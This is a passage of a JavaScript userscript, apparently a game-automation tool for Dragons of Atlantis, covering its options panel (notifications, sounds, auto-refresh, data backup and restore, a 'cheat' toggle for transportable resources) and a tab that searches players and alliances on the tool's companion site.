					document.getElementById(UID['tabOptions_btnClean']).addEventListener('click', t.onClickClearStorage, false);
					document.getElementById(UID['tabOptions_btnInspect']).addEventListener('click', t.onClickInspect, false);
					document.getElementById(UID['tabOptions_btnBackup']).addEventListener('click', t.onClickBackupFile, false);
					document.getElementById(UID['tabOptions_btnBackupMap']).addEventListener('click', t.onClickBackupMap, false);
					document.getElementById(UID['tabOptions_storage_file']).addEventListener('change', t.onChangeRestoreFile, false);
					document.getElementById(UID['tabOptions_CheckNotification']).addEventListener('click', function(event) {
						CalciumNotifications.showNotification('Test', 'OK', 'tag', 'http://icdn.pro/images/fr/a/c/accepter-check-ok-oui-icone-4851-96.png');
					}, false);
					document.getElementById(UID['tabOptions_NotificationFortuna']).addEventListener('click', function(event) {
						Data.options.enable_notifications_fortuna = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_NotificationSpy']).addEventListener('click', function(event) {
						Data.options.enable_notifications_spy = event.target.checked
					}, false);
					document.getElementById(UID['tabOptions_NotificationAttack']).addEventListener('click', function(event) {
						Data.options.enable_notifications_attack = event.target.checked
					}, false);
					document.getElementById(UID['tabInboxTchatRealm_cbEnableNotif']).addEventListener('click', function(event) {
						Data.options.tchat.enable_notif_realm = event.target.checked
					}, false);
					document.getElementById(UID['tabInboxTchatAlliance_cbEnableNotif']).addEventListener('click', function(event) {
						Data.options.tchat.enable_notif_alliance = event.target.checked
					}, false);
					
					document.getElementById(UID['tabOptions_CB_Cheat']).addEventListener('click', function(event) {
						Data.options.cheat_enabled = event.target.checked;
						if (Data.options.cheat_enabled)
							transportable_resource_types = cloneProps(all_resource_types);
						else
							transportable_resource_types = cloneProps(transportable_resource_types);
					}, false);
					document.getElementById(UID['tabOptions_CB_Cheat']).addEventListener('change', function(event) {
						Data.options.cheat_enabled = event.target.checked;
						if (Data.options.cheat_enabled)
							transportable_resource_types = cloneProps(all_resource_types);
						else
							transportable_resource_types = cloneProps(transportable_resource_types);
					}, false);
					document.getElementById(UID['tabOptions_btnRestore']).addEventListener('click', function() {
						debugLog(document.getElementById(UID['tabOptions_storage_file']));
						document.getElementById(UID['tabOptions_storage_file']).click();
					}, false);
					t.togOpt(UID['tabOptions_CB_Collect'], Data.options.autoCollect.enabled, AutoCollect.setEnable);
					t.togOpt(UID['tabOptions_CB_Verbose'], Data.options.verboseLog.enabled, VerboseLog.setEnable);
					t.togOpt(UID['tabOptions_CB_Background'], Data.options.background, t.onChangeBackground);
					t.togOpt(UID['tabOptions_AutoRefresh'], Data.options.autoRefresh.enabled, t.setEnableRefresh);
					t.togOpt(UID['tabOptions_FlashRefresh'], Data.options.flashRefresh.enabled, AutoRefresh.setEnable);
					t.togOpt(UID['tabOptions_TabWave'], Data.options.disable_wave, t.setEnableTab);
					t.togOpt(UID['tabOptions_TabMulti'], Data.options.disable_multi, t.setEnableTab);
					t.togOpt(UID['tabOptions_TabBookmark'], Data.options.disable_bookmark, t.setEnableTab);
					t.togOpt(UID['tabOptions_TabSpy'], Data.options.disable_spies, t.setEnableTab);
					t.togOpt(UID['tabOptions_TabInbox'], Data.options.disable_inbox, t.setEnableTab);
					t.togOpt(UID['tabOptions_TabSearch'], Data.options.disable_search, t.setEnableTab);
					t.togOpt(UID['tabOptions_TabAlliance'], Data.options.disable_alliance, t.setEnableTab);
					t.togOpt(UID['tabOptions_TabSingle'], Data.options.disable_single, t.setEnableTab);
					t.togOpt(UID['tabOptions_TabWall'], Data.options.disable_wall, t.setEnableTab);
					t.togOpt(UID['tabOptions_TabWheel'], Data.options.disable_wheel, t.setEnableTab);
					t.togOpt(UID['tabOptions_TabLog'], Data.options.disable_log, t.setEnableTab);

					document.getElementById(UID['tabOptions_BFile']).addEventListener('change', function() {
						Data.options.sound.URL_building = document.getElementById(UID['tabOptions_BFile']).value;
					}, false);
					document.getElementById(UID['tabOptions_BPlay']).addEventListener('click', function() {
						t.playSound('building')
					}, false);
					document.getElementById(UID['tabOptions_BStop']).addEventListener('click', function() {
						t.stopSound('building')
					}, false);
					document.getElementById(UID['tabOptions_BDefault']).addEventListener('click', function() {
						document.getElementById(UID['tabOptions_BFile']).value = SoundPlayer.DEFAULT_SOUND_URL.building;
						Data.options.sound.URL_building = SoundPlayer.DEFAULT_SOUND_URL.building;
						t.playSound('building');
					}, false);
					document.getElementById(UID['tabOptions_BStop']).disabled = true;

					document.getElementById(UID['tabOptions_TFile']).addEventListener('change', function() {
						Data.options.sound.URL_units = document.getElementById(UID['tabOptions_TFile']).value;
					}, false);
					document.getElementById(UID['tabOptions_TPlay']).addEventListener('click', function() {
						t.playSound('units')
					}, false);
					document.getElementById(UID['tabOptions_TStop']).addEventListener('click', function() {
						t.stopSound('units')
					}, false);
					document.getElementById(UID['tabOptions_TDefault']).addEventListener('click', function() {
						document.getElementById(UID['tabOptions_TFile']).value = SoundPlayer.DEFAULT_SOUND_URL.units;
						Data.options.sound.URL_units = SoundPlayer.DEFAULT_SOUND_URL.units;
						t.playSound('units');
					}, false);
					document.getElementById(UID['tabOptions_TStop']).disabled = true;

					document.getElementById(UID['tabOptions_RFile']).addEventListener('change', function() {
						Data.options.sound.URL_research = document.getElementById(UID['tabOptions_RFile']).value;
					}, false);
					document.getElementById(UID['tabOptions_RPlay']).addEventListener('click', function() {
						t.playSound('research')
					}, false);
					document.getElementById(UID['tabOptions_RStop']).addEventListener('click', function() {
						t.stopSound('research')
					}, false);
					document.getElementById(UID['tabOptions_RDefault']).addEventListener('click', function() {
						document.getElementById(UID['tabOptions_RFile']).value = SoundPlayer.DEFAULT_SOUND_URL.research;
						Data.options.sound.URL_research = SoundPlayer.DEFAULT_SOUND_URL.research;
						t.playSound('research');
					}, false);
					document.getElementById(UID['tabOptions_RStop']).disabled = true;

					document.getElementById(UID['tabOptions_FFile']).addEventListener('change', function() {
						Data.options.sound.URL_fortuna = document.getElementById(UID['tabOptions_FFile']).value;
					}, false);
					document.getElementById(UID['tabOptions_FPlay']).addEventListener('click', function() {
						t.playSound('fortuna')
					}, false);
					document.getElementById(UID['tabOptions_FStop']).addEventListener('click', function() {
						t.stopSound('fortuna')
					}, false);
					document.getElementById(UID['tabOptions_FDefault']).addEventListener('click', function() {
						document.getElementById(UID['tabOptions_FFile']).value = SoundPlayer.DEFAULT_SOUND_URL.fortuna;
						Data.options.sound.URL_fortuna = SoundPlayer.DEFAULT_SOUND_URL.fortuna;
						t.playSound('fortuna');
					}, false);
					document.getElementById(UID['tabOptions_FStop']).disabled = true;
				} catch (e) {
					t.container.innerHTML = '<PRE>' + e.name + ' : ' + e.message + '</pre>';
				}
			},
			hide: function() {},
			show: function() {},
			togOpt: function(checkboxId, optionVar, callEnable, callIsAvailable) {
				var t = Tabs.Options;
				var checkbox = document.getElementById(checkboxId);
				if (callIsAvailable && callIsAvailable() == false) {
					checkbox.disabled = true;
					return;
				}
				if (optionVar) checkbox.checked = true;
				checkbox.addEventListener('change', new eventToggle(checkboxId, optionVar, callEnable).handler, false);

				function eventToggle(checkboxId, optionVar, callOnChange) {
					this.handler = handler;
					var optVar = optionVar;
					var callback = callOnChange;

					function handler(event) {
						optVar = this.checked;
						if (callback != null) callback(this.checked);
					}
				}
			},
			timeChanged: function(event) {
				var etime = document.getElementById(UID['tabOptions_collectTime']);
				var time = toNum(etime.value);
				etime.value = time;
				Data.options.autoCollect.delay = time;
			},
			unitChanged: function(event) {
				var eunit = document.getElementById(UID['tabOptions_collectUnit']);
				var unit = toNum(eunit.value);
				eunit.value = unit;
				Data.options.autoCollect.unit = unit;
			},
			refreshTimeChanged: function(event) {
				var t = Tabs.Options;
				var etime = document.getElementById(UID['tabOptions_refreshTime']);
				var time = toNum(etime.value);
				etime.value = time;
				Data.options.autoRefresh.delay = time;
				t.autoRefreshTick();
			},
			refreshUnitChanged: function(event) {
				var t = Tabs.Options;
				var eunit = document.getElementById(UID['tabOptions_refreshUnit']);
				var unit = toNum(eunit.value);
				eunit.value = unit;
				Data.options.autoRefresh.unit = unit;
				t.autoRefreshTick();
			},
			autoRefreshTick: function() {
				var t = Tabs.Options;
				clearTimeout(t.refreshTimer);
				if (Data.options.autoRefresh.enabled) {
					logit('fetchPlayer from Tab.Options Auto-refresh tick');
					/*Seed.fetchPlayer();*/
					var options = {
						cities: [],
						noCities: true,
						jobs: true,
						dragons: true
					};
					options.cities.push(Seed.cities[CAPITAL.id].id);
					Seed.fetchPlayer(options);
					t.refreshTimer = setTimeout(t.autoRefreshTick, Data.options.autoRefresh.delay * Data.options.autoRefresh.unit * 1000);
				}
			},
			setEnableRefresh: function() {
				var t = Tabs.Options;
				var cR = document.getElementById(UID['tabOptions_AutoRefresh']);
				Data.options.autoRefresh.enabled = cR.checked;
				t.autoRefreshTick();
			},
			flashRefreshTimeChanged: function(event) {
				var t = Tabs.Options;
				var etime = document.getElementById(UID['tabOptions_flashRefreshTime']);
				var time = toNum(etime.value);
				etime.value = time;
				Data.options.flashRefresh.delay = time;
			},
			flashRefreshUnitChanged: function(event) {
				var t = Tabs.Options;
				var eunit = document.getElementById(UID['tabOptions_flashRefreshUnit']);
				var unit = toNum(eunit.value);
				eunit.value = unit;
				Data.options.flashRefresh.unit = unit;
			},

			setEnableTab: function() {
				var t = Tabs.Options;
				var cWa = document.getElementById(UID['tabOptions_TabWave']);
				var cMu = document.getElementById(UID['tabOptions_TabMulti']);
				var cSp = document.getElementById(UID['tabOptions_TabSpy']);
				var cBo = document.getElementById(UID['tabOptions_TabBookmark']);
				var cIn = document.getElementById(UID['tabOptions_TabInbox']);
				var cSe = document.getElementById(UID['tabOptions_TabSearch']);
				var cAl = document.getElementById(UID['tabOptions_TabAlliance']);
				var cLo = document.getElementById(UID['tabOptions_TabLog']);
				var cSi = document.getElementById(UID['tabOptions_TabSingle']);
				var cWl = document.getElementById(UID['tabOptions_TabWall']);
				var cWh = document.getElementById(UID['tabOptions_TabWheel']);
				Data.options.disable_wave = cWa.checked;
				Data.options.disable_multi = cMu.checked;
				Data.options.disable_spies = cSp.checked;
				Data.options.disable_bookmark = cBo.checked;
				Data.options.disable_search = cSe.checked;
				Data.options.disable_alliance = cAl.checked;
				Data.options.disable_inbox = cIn.checked;
				Data.options.disable_log = cLo.checked;
				Data.options.disable_single = cSi.checked;
				Data.options.disable_wall = cWl.checked;
				Data.options.disable_wheel = cWh.checked;
			},
			onChangeLanguage: function() {
				var lang = document.getElementById(UID['tabOptions_language']).value;
				Data.options.user_language = lang;
				setLanguage(lang);
			},
			onChangeBackground: function(state) {
				Data.options.background = state;
				try {
					localStorage.setItem('118446_background', JSON.stringify(Data.options.background));
				} catch (e) {}
			},
			onClickRefresh: function() {
				var t = Tabs.Options;
				logit('fetchPlayer from Tab.Options');
				if (t.refreshPlayerBusy) return false;
				t.refreshPlayerBusy = true;
				refreshPlayerData(t.container, function() {
					logit(translate('Player data retrieved'));
					Tabs.Options.refreshPlayerBusy = false
				});
			},
			onClickSaveSetting: function() {
				var t = Tabs.Options;
				dialogConfirm(translate('Do you want to save in Permanent Data the current script setting') + ' ?',
					function() {
						try {
							Data.save();
							verboseLog('Save Data in localStorage');
							var keys = getKeys(Data.defaults);
							for (var i = 0; i < keys.length; i++) {
								var item_name = keys[i];
								Data.setObject(item_name, Data[item_name]);
							}
						} catch (e) {}
					},
					/* Cancel */

					function() {}, true
				);
			},
			onClickClearStorage: function() {
				var t = Tabs.Options;
				dialogConfirm(translate('Are you sure you want to delete All Permanent Data') + ' ?',
					function() {
						try {
							Data.clearStorage(false);
							Data.setDefaultValues('all');
						} catch (e) {}
					},
					/* Cancel */

					function() {}, true
				);
			},
			onClickInspect: function() {
				var t = Tabs.Options;
				dialogCopyPaste();
			},
			onClickBackupFile: function() {
				var t = Tabs.Options;
				dialogConfirm(translate('Do you want to save Permanent Data in local file') + ' ?',
					function() {
						try {
							setTimeout(function() {
								var keys = getKeys(Data.defaults);
								for (var i = 0; i < keys.length; i++) {
									if (/(marches|requests)/i.test(keys[i]))
										keys.splice(i, 1);
								}
								var json_data = '{';
								for (var i = 0; i < keys.length; i++) {
									var name = keys[i];
									try {
										json_data += '"' + name + '":' + JSON.stringify(Data[name]);
									} catch (e) {
										debugLog(e);
									}
									if (i < keys.length - 1) json_data += ','
								}
								json_data += '}';
								downloadDataURI({
									filename: "doa_realm" + [SERVER_ID, Seed.player.name].join('_') + ".txt",
									data: "data:application/text;base64," + Base64.encode(json_data)
								});
								/*window.open(jsondata,'Backup','width=300,height=200,toolbar=no,resizable=0');*/
							}, 1000);
						} catch (e) {}
					},
					/* Cancel */

					function() {}, true
				);
			},
			onClickBackupMap: function() {
				var t = Tabs.Options;
				dialogConfirm(translate('Do you want to save Map Data in local file') + ' ?',
					function() {
						try {
							setTimeout(function() {
								var json_map = '{"map":' + JSON.stringify(Data.map) + '}';
								downloadDataURI({
									filename: "doa_realm" + [SERVER_ID, Seed.player.name].join('_') + "_Map.txt",
									data: "data:application/text;base64," + Base64.encode(json_map)
								});
								/*window.open(jsondata,'Backup Map','width=300,height=200,toolbar=no,resizable=0');*/
							}, 1000);
						} catch (e) {}
					},
					/* Cancel */

					function() {}, true
				);
			},
			onChangeRestoreFile: function() {
				var t = Tabs.Options;
				var files = document.getElementById(UID['tabOptions_storage_file']).files;
				if (!files.length) return;
				var reader = new FileReader();
				reader.onload = function(event) {
					try {
						if (event.target.result) {
							Data.mergeWith(JSON.parse(event.target.result));
							var dial = new ModalDialog(t.container, 300, 150, '', true);
							dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
							dial.getContentDiv().innerHTML = '<B>' + translate('Restore') + ' ' + translate('Successfully') + '</b>';
						}
					} catch (e) {
						var dial = new ModalDialog(t.container, 300, 150, '', true);
						dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
						dial.getContentDiv().innerHTML = '<B>' + translate('Restore') + ' ' + translate('Error') + ' : <br><br> ' + e + '</b>';
					}
					/* Clear the file container for the next change */
					document.getElementById(UID['tabOptions_storage_file']).files = [];
					document.getElementById(UID['tabOptions_storage_file']).value = '';
				};
				reader.onerror = function(event) {
					var error = event.target.error.name;
					debugLog(error);
					if (error == "NOT_READABLE_ERR") {}
					/* Clear the file container for the next change */
					document.getElementById(UID['tabOptions_storage_file']).files = [];
					document.getElementById(UID['tabOptions_storage_file']).value = '';
				};
				for (var i = 0, file; file = files[i]; i++) {
					/* Read file into memory as UTF-8 */
					reader.readAsText(file, 'UTF-8');
				}
			},

			playSound: function(task) {
				var t = Tabs.Options;
				switch (task) {
					case 'building':
						document.getElementById(UID['tabOptions_BStop']).disabled = false;
						break;
					case 'units':
						document.getElementById(UID['tabOptions_TStop']).disabled = false;
						break;
					case 'research':
						document.getElementById(UID['tabOptions_RStop']).disabled = false;
						break;
					case 'fortuna':
						document.getElementById(UID['tabOptions_FStop']).disabled = false;
						break;
				}
				SoundPlayer.PlaySound(task, true);
				setTimeout(function() {
					t.stopSound(task);
				}, 4000);
			},
			stopSound: function(task) {
				var t = Tabs.Options;
				switch (task) {
					case 'building':
						document.getElementById(UID['tabOptions_BStop']).disabled = true;
						break;
					case 'units':
						document.getElementById(UID['tabOptions_TStop']).disabled = true;
						break;
					case 'research':
						document.getElementById(UID['tabOptions_RStop']).disabled = true;
						break;
					case 'fortuna':
						document.getElementById(UID['tabOptions_FStop']).disabled = true;
						break;
				}
				SoundPlayer.StopSound(task);
			}
		}

        /******************************** CPT Tab ************************************/
		Tabs.Cpt = {
			tabOrder: CPT_TAB_ORDER,
			tabLabel: 'CPT',
			tabDisabled: !CPT_TAB_ENABLE,
			container: null,
            contentType: 0,

			init: function(div) {
				var t = Tabs.Cpt;
				t.container = div;
				var m = '<div class=' + UID['title'] + '>Calcium Pro Tool ' + translate('search') + '</div>' 
                + '<ul class=tabs>' 
                + '	<li class="tab first"><a id=' + setUID('tabCptSearchPlayer') + '>' + translate('search') + ' ' + translate('players') + '</a></li>' 
                + '	<li class=tab><a id=' + setUID('tabCptSearchAlliance') + '>' + translate('search') + ' ' + translate('alliances') + '</a></li>' 
                + '</ul>' 
                + '<div id=' + setUID('tabCpt_Content') + ' style="padding-top:0px; height:655px; max-height:655px; overflow-y:auto; width:540px; max-width:540px; overflow-x:auto"></div>';
				t.container.innerHTML = m;
				document.getElementById(UID['tabCptSearchPlayer']).addEventListener('click', t.tabCptSearchPlayer, false);
				document.getElementById(UID['tabCptSearchAlliance']).addEventListener('click', t.tabCptSearchAlliance, false);
				t.show();
			},

			tabCptSearchPlayer: function(lunchSearch, idUser) {
				var t = Tabs.Cpt;
                document.getElementById(UID['tabCptSearchAlliance']).className = '';
				document.getElementById(UID['tabCptSearchAlliance']).style.zIndex = 0;
				document.getElementById(UID['tabCptSearchPlayer']).className = 'selected';
				document.getElementById(UID['tabCptSearchPlayer']).style.zIndex = 1;
                t.contentType = 0;
                
                var m =  '<div class=' + UID['title'] + '>' + translate('search') + ' ' + translate('players') + '</div>' 
                    + ' <div class=' + UID['content'] + '>'
                    + '   <div id='+setUID('tabCPT_divSearch')+'>'
                    + '     <center>'
                    + '         <label for='+setUID('tabCPT_playerToSearch')+'>' + translate('name') + '</label> : <input id='+UID['tabCPT_playerToSearch']+' maxlength="50" type="text" value="" />'
                    + '         <input id='+setUID('tabCPT_btnSearch')+' type=button value=' + translate('search') + ' class=' + UID['btn_blue'] + ' /><br />'
                    + '         <label for='+setUID('tabCPT_playerSearchHisto')+'>' + translate('Search for old name') + '</label> : <input id='+UID['tabCPT_playerSearchHisto']+' type="checkbox" />'
                    + '     </center>'
                    + '   </div><br />'
                    + '   <div class=' + UID['subtitle'] + '>' + translate('players') + '</div><br />'
                    + '   <div id='+setUID('tabCPT_divResult')+'></div><br />'
                    + '   <div class=' + UID['subtitle'] + '>' + translate('view') + '</div>'
                    + '   <div id='+setUID('tabCPT_divPlayerDetail')+'></div>'
                    + '</div>';
                document.getElementById(UID['tabCpt_Content']).innerHTML = m;
                
                document.getElementById(UID['tabCPT_btnSearch']).addEventListener('click', searchPlayer, false);
                
                function searchPlayer() {
                    var strSearch = document.getElementById(UID['tabCPT_playerToSearch']).value.trim();
                    new MyAjax.searchCPT(( document.getElementById(UID['tabCPT_playerSearchHisto']).checked ? CPT_SEARCH.playersHisto : CPT_SEARCH.players ), strSearch, function(rslt) {
                        if(rslt.dat.result) {
                            var m = '<table class=' + UID['row_style'] + ' width=100%><tr>';
                            var tb = [];
                            for(var i=0; i < rslt.dat.players.length ; i++) {
                                m +=  '<td>' + rslt.dat.players[i].label + '</td>'
                                    + '<td><input id=' + setUID('tabCPT_' + rslt.dat.players[i].id) + ' ref=' +  rslt.dat.players[i].id + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('view') + '" /></td>';
                                if((i+1)%2 == 0) {
                                    m += '</tr><tr>'
                                }
                                tb.push('tabCPT_' + rslt.dat.players[i].id);
                            }
                            m += '</tr></table>';
                            document.getElementById(UID['tabCPT_divResult']).innerHTML = m;
                            for(i=0; i < tb.length ; i++) {
                                document.getElementById(UID[tb[i]]).addEventListener('click', searchDetailPlayer, false);
                            }
                        } else {
                            document.getElementById(UID['tabCPT_divResult']).innerHTML = rslt.dat.msg;
                        }
                    });
                    
                }
                function searchDetailPlayer(event) {
                    var id = event.target.getAttribute('ref');
                    new MyAjax.searchCPT(CPT_SEARCH.playerDetail, id, function(rslt) {
                        if(rslt.dat.result) {
                            var cptSpyNow = function(event) {
                                var args = event.target.getAttribute('ref').split('_'),
                                    targ = { n:args[0], x:args[1], y:args[2] };
                                buttonSpyNow(t.container, targ);
                            };
                            var addBookmark = function(event) {
                                var args = event.target.getAttribute('ref').split('_');
                                saveBookmark(t.container,
                                    toNum(args[1]),
                                    toNum(args[2]),
                                    0,
                                    0,
                                    0,
                                    toNum(args[0]),
                                    {},
                                    '',
                                    false, true,
                                    false,
                                    '',
                                    args[3]);
                            };
                            var player = rslt.dat.player;
                            var bs = [], bb = [];
                            var m = '<table width=100%>';
                               m += '   <tr><td align=center><b>' + player.name + ' / ' + (player.alliance ? player.alliance.name : '---') + '</b> - ' + translate('might') + ' : ' + numf(player.might) + '</td></tr>';
                               m += '   <tr><td align=center>';
                               m += '       <input id=' + setUID('tabCPT_GoCptPlayer' + player.id) + ' ref="' +  player.id + '" class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="  ' + translate('go') + ' CPT  " />  ';
                               m += '       <input class=class="' + UID['btn_blue'] + '" id="' + setUID('tabCPT_MsgUser') + '" ref="' + player.id  + '_' + player.name + '" type=button  style="width:auto !important;" value="  ' + translate('Msg') + '  " \>';
                               m += '      </td></tr>';
                               m += '</table><br /><br />';
                               m += '<table class=' + UID['row_style'] + ' width=100%>';
                               m += '   <tr class=' + UID['row_headers'] + '><td colspan=2 align=center>' + translate('outposts') + '</td><td>' + translate('action') + '</td></tr>';
                               for(var i=0 ; i < player.ops.length ; i++) {
                                m += '  <tr><td align=center>' + player.ops[i].type + ' </td>';
                                m += '		<td align=center>' + player.ops[i].x + ' / ' + player.ops[i].y + '</td>';
                                m += '<td align=center>';
                                m += '<input id="' + setUID('tabCpt_SpyNow_' + i) + '" ref="'+player.name+'('+player.ops[i].type+')_' + player.ops[i].x + '_' + player.ops[i].y + '" class="'+(player.ops[i].type === 'Spectral' ? UID['btn_disabled'] : UID['btn_red'])+ '" style="width:auto !important;" type=button value="  ' + translate('Spy') + ' !  " '+( player.ops[i].type === 'Spectral' ? 'disabled' : '')+' />  ';
                                m += '  <input id=' + setUID('tabCpt_Bookmark_' + i) + ' ref="' + i + '_' + player.ops[i].x + '_' + player.ops[i].y + '_'+player.name+'" class="' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="  ' + translate('Bookmark') + '  " />';
                                
                                m += '</td>';
                                m += '	</tr>';
                                if(player.ops[i].type !== 'Spectral')
                                    bs.push('tabCpt_SpyNow_' + i);
                                bb.push('tabCpt_Bookmark_' + i);
                               }
                               m += '</table>';
                            document.getElementById(UID['tabCPT_divPlayerDetail']).innerHTML = m;
                            document.getElementById(UID['tabCPT_MsgUser']).addEventListener('click', onClickMsg, false);
                            document.getElementById(UID['tabCPT_GoCptPlayer' + player.id]).addEventListener('click', function(event) {
                                var id = event.target.getAttribute('ref');
                                window.open('https://www.calcium-pro-tool.com/CPT/displayUser.php?id='+id+'&realmId='+SERVER_ID);
                            }, false);
                            for(var j=0; j < bs.length; j++) {
                            	document.getElementById(UID[bs[j]]).addEventListener('click', cptSpyNow, false);
                            }
                            for(var k=0; k < bb.length; k++) {
                            	document.getElementById(UID[bb[k]]).addEventListener('click', addBookmark, false);
                            }
                        } else {
                            document.getElementById(UID['tabCPT_divPlayerDetail']).innerHTML = rslt.dat.msg;
                        }
                    });
                }
			},
			tabCptSearchAlliance: function(lunchSearch, idAlliance) {
				var t = Tabs.Cpt;
                document.getElementById(UID['tabCptSearchPlayer']).className = '';
				document.getElementById(UID['tabCptSearchPlayer']).style.zIndex = 0;
				document.getElementById(UID['tabCptSearchAlliance']).className = 'selected';
				document.getElementById(UID['tabCptSearchAlliance']).style.zIndex = 1;
                t.contentType = 1;
                
                var m =  '<div class=' + UID['title'] + '>' + translate('search') + ' ' + translate('alliances') + '</div>' 
                    + ' <div class=' + UID['content'] + '>'
                    + '   <div id='+setUID('tabCPT_divSearch')+'>'
                    + '     <center>'
                    + '         <label for='+setUID('tabCPT_allianceToSearch')+'>' + translate('name') + '</label> : <input id='+UID['tabCPT_allianceToSearch']+' maxlength="50" type="text" value="" />'
                    + '         <input id='+setUID('tabCPT_btnAllianceSearch')+' type=button value=' + translate('search') + ' class=' + UID['btn_blue'] + ' />'
                    + '     </center>'
                    + '   </div><br />'
                    + '   <div class=' + UID['subtitle'] + '>' + translate('alliances') + '</div><br />'
                    + '   <div id='+setUID('tabCPT_divAllianceResult')+'></div><br />'
                    + '   <div class=' + UID['subtitle'] + '>' + translate('view') + '</div>'
                    + '   <div id='+setUID('tabCPT_divAllianceDetail')+'></div>'
                    + '</div>';
                document.getElementById(UID['tabCpt_Content']).innerHTML = m;
                
                document.getElementById(UID['tabCPT_btnAllianceSearch']).addEventListener('click', searchAlliance, false);
                
                function searchAlliance() {
                    var strSearch = document.getElementById(UID['tabCPT_allianceToSearch']).value.trim();
                    new MyAjax.searchCPT(CPT_SEARCH.alliances, strSearch, function(rslt) {
                        if(rslt.dat.result) {
                            var m = '<table class=' + UID['row_style'] + ' width=100%><tr>';
                            var tb = [];
                            for(var i=0; i < rslt.dat.alliances.length ; i++) {
                                m +=  '<td>' + rslt.dat.alliances[i].label + '</td>'
                                    + '<td><input id=' + setUID('tabCPT_' + rslt.dat.alliances[i].id) + ' ref=' +  rslt.dat.alliances[i].id + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('view') + '" /></td>';
                                if((i+1)%2 == 0) {
                                    m += '</tr><tr>'
                                }
                                tb.push('tabCPT_' + rslt.dat.alliances[i].id);
                            }
                            m += '</tr></table>';
                            document.getElementById(UID['tabCPT_divAllianceResult']).innerHTML = m;
                            for(i=0; i < tb.length ; i++) {
                                document.getElementById(UID[tb[i]]).addEventListener('click', searchDetailAlliance, false);
                            }
                        } else {
                            document.getElementById(UID['tabCPT_divAllianceResult']).innerHTML = rslt.dat.msg;
                        }
                    });
                    
                }
                function searchDetailAlliance(event) {
                    var id = event.target.getAttribute('ref');
                    new MyAjax.searchCPT(CPT_SEARCH.allianceDetail, id, function(rslt) {
                        if(rslt.dat.result) {
                            var alliance = rslt.dat.alliance;
                            var tcpt = [], bm = [];
                            var m = '<table width=100%>';
                            m += '   <tr><td align=center><b>' + alliance.name + '</b> - ' + translate('might') + ' : ' + numf(alliance.might) + '</td></tr>';
                            m += '   <tr><td align=center><input id=' + setUID('tabCPT_GoCptAlliance' + alliance.id) + ' ref=' +  alliance.id + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('go') + ' CPT" /></td></tr>';
                            m += '</table><br />';
                            m += '<table class=' + UID['row_style'] + ' width=100%>';
                            m += '   <tr class=' + UID['row_headers'] + '><td colspan=4 align=center>' + translate('members') + '</td></tr>';
                            m += '   <tr class=' + UID['row_headers'] + '><td align=center>' + translate('members') + '</td><td align=center>' + translate('might') + '</td><td align=center>' + translate('Role') + '</td><td align=center>' + translate('go') + ' CPT</td></tr>';
                            for(var i=0 ; i < alliance.players.length ; i++) {
                                m += '  <tr><td>' + alliance.players[i].name + '</td><td align=right>' + numf(alliance.players[i].might) + '</td>';
                                m += '      <td>' + translate('role-'+alliance.players[i].role) + '</td>';
                                m += '      <td align=center>';
                                m += '          <input id=' + setUID('tabCPT_GoCptPlayer' + alliance.players[i].id) + ' ref=' +  alliance.players[i].id + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('go') + ' CPT"/>';
                                m += '          <input class=class="' + UID['btn_blue'] + '" id="' + setUID('tabCPT_MsgUser_'+i) + '" ref="' + alliance.players[i].id  + '_' + alliance.players[i].name + '" type=button  style="width:auto !important;" value="  ' + translate('Msg') + '  " \>';
                                m += '      </td>';
                                m += '  </tr>';
                                tcpt.push('tabCPT_GoCptPlayer' + alliance.players[i].id);
                                bm.push('tabCPT_MsgUser_'+i);
                            }
                            m += '</table>';
                            document.getElementById(UID['tabCPT_divAllianceDetail']).innerHTML = m;
                            for(var j=0 ; j<tcpt.length ; j++) {
                                document.getElementById(UID[tcpt[j]]).addEventListener('click', function(event) {
                                    var id = event.target.getAttribute('ref');
                                    window.open('https://www.calcium-pro-tool.com/CPT/displayUser.php?id='+id+'&realmId='+SERVER_ID);
                                }, false);
                                document.getElementById(UID[bm[j]]).addEventListener('click', onClickMsg);
                            }
                            document.getElementById(UID['tabCPT_GoCptAlliance' + alliance.id]).addEventListener('click', function(event) {
                                var id = event.target.getAttribute('ref');
                                window.open('https://www.calcium-pro-tool.com/CPT/displayAlliance.php?id='+id+'&realmId='+SERVER_ID);
                            }, false);
                        } else {
                            document.getElementById(UID['tabCPT_divAllianceDetail']).innerHTML = rslt.dat.msg;
                        }
                    });
                }
			},
			hide: function() {
				var t = Tabs.Cpt;
			},
			show: function() {
				var t = Tabs.Cpt;
                switch (toNum(t.contentType)) {
					case 0:
						t.tabCptSearchPlayer(false, 0);
						break;
					case 1:
						t.tabCptSearchAlliance(false, 0);
						break;
				}
			}
        }

		/******************************** Log Tab ************************************/
		Tabs.Log = {
			tabOrder: LOG_TAB_ORDER,
			tabLabel: 'Log',
			tabDisabled: !LOG_TAB_ENABLE,
			lastSubTab: 'tabLogActions',
			container: null,
			content: [],
			title: null,
			maxEntries: 500,
			saveEntries: 200,
			state: 0,
			timer: null,

			init: function(div) {
				var t = Tabs.Log;
				t.container = div;
